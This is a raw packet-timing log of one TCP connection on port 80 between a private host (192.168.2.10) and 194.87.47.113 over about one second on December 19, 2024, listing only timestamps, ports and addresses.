Dec 19, 2024 08:21:20.613276005 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.614314079 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.614361048 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.614367962 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.615358114 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.615411043 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.615461111 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.616372108 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.616411924 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.616463900 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.617398977 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.617450953 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.629540920 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.629704952 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.629749060 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.629982948 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.630098104 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.630151987 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.631073952 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.631274939 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.631323099 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.632241964 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.632318020 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.632643938 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.633162975 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.633225918 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.633269072 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.634232998 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.634447098 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.634490967 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.635298014 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.635389090 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.635422945 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.636287928 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.636399984 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.636439085 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.637401104 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.637485981 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.637531996 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.638442039 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.638528109 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.638571024 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.650449991 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.650554895 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.650599003 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.650866032 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.651009083 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.651431084 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.651935101 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.652347088 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.652403116 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.652477026 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.653436899 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.653479099 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.653537035 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.654421091 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.654464960 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.654516935 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.655570030 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.655621052 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.655747890 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.656615973 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.656661034 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.672151089 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.672173977 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.672214985 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.672545910 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.672672987 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.672878027 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.673788071 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.673865080 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.673906088 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.674688101 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.674835920 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.675579071 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.675765991 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.675863981 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.675900936 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.676800966 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.676851988 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.676894903 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.677829027 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.677947044 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.677983046 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.678895950 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.678992987 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.679032087 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.679914951 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.680037975 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.680080891 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.680994987 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.681092978 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.681130886 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.682013035 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.682140112 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.682178974 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.683090925 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.683188915 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.683226109 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.684156895 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.684278011 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.684359074 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.685199022 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.685297966 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.685339928 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.686235905 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.686342955 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.687143087 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.687412977 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.687519073 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.687560081 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.688330889 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.688461065 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.688591003 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.689399958 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.689476013 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.689518929 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.690452099 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.690553904 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.690598011 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.691482067 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.691595078 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.691627026 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.692523956 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.692684889 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.692780018 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.693635941 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.693751097 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.693784952 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.694660902 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.694720030 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.694760084 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.695698977 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.747612953 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.761025906 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.761195898 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.761550903 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.761605024 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.761643887 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.761683941 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.762598991 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.762620926 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.762670040 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.763628006 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.769553900 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.769648075 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.769676924 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.770080090 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.770128012 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.770148039 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.771094084 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.771107912 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.771194935 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.772157907 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.772214890 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.804467916 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.804672956 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.804748058 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.805114985 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.805289984 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.805588007 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.806031942 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.806102037 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.806987047 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.807040930 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.807111025 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.807164907 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.808007956 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.808118105 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.808218002 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.808978081 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.809134007 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.809182882 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.809983015 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.810080051 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.810137033 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.821562052 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.821666956 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.821712971 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.821785927 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.821861029 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.821985960 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.822668076 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.822725058 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.822803020 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.823534012 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.823610067 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.823661089 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.824227095 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.824369907 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.824420929 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.825078964 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.825222015 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.825316906 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.825973034 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.826092958 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.826196909 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.826925993 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.827032089 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.827085018 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.827778101 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.827898026 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.827949047 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.828690052 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.828855991 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.828906059 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.829705954 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.829741001 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.829788923 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.842897892 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.843038082 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.843091965 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.843291044 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.843381882 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.844182014 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.844235897 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.844300032 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.844347954 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.845041990 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.845191002 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.845627069 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.845969915 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.846050024 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.846097946 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.846930981 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.847151041 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.847203016 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.847788095 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.847893953 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.847940922 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.864365101 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.864469051 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.864514112 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.865039110 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.865093946 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.865147114 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.865938902 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.866077900 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.866174936 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.866750002 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.866839886 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.866883993 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.867400885 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.867502928 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.867558956 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.868297100 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.868535042 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.869174004 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.869230986 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.869339943 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.869386911 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.870064974 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.870223045 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.870273113 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.871121883 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.871202946 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.871474028 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.871931076 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.872121096 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.872169971 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.872786045 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.872822046 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.872874975 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.873683929 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.873816967 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.873883009 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.874628067 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.874862909 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.874931097 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.875482082 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.875607014 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.875658989 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.876403093 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.876477003 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.876585007 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.877374887 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.877430916 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.877566099 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.878237963 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.878384113 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.878437996 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.879076958 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.879209995 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.879261017 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.879976034 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.880115032 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.880913973 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.880949974 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.880963087 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.880995989 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.881843090 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.881937027 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.882263899 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.882661104 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.882831097 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.882883072 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.883562088 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.883687019 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.883738041 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.884457111 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.935151100 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.953233957 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.953576088 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.953613997 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.953727961 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.953742027 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.953785896 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.954531908 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.954658985 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.954714060 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.955432892 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.961585045 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.961648941 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.961734056 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.961978912 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.962043047 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.962116957 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.962909937 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.963035107 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.963037014 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.963876009 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.963943958 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.996577978 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.996669054 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.996769905 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.997004032 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.997129917 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.997174978 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.997926950 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.998050928 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.998096943 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.998805046 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.999011993 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.999058962 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.999743938 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.999820948 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.000592947 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.000636101 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.000705957 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.000747919 CET	49720	80	192.168.2.10	194.87.47.113
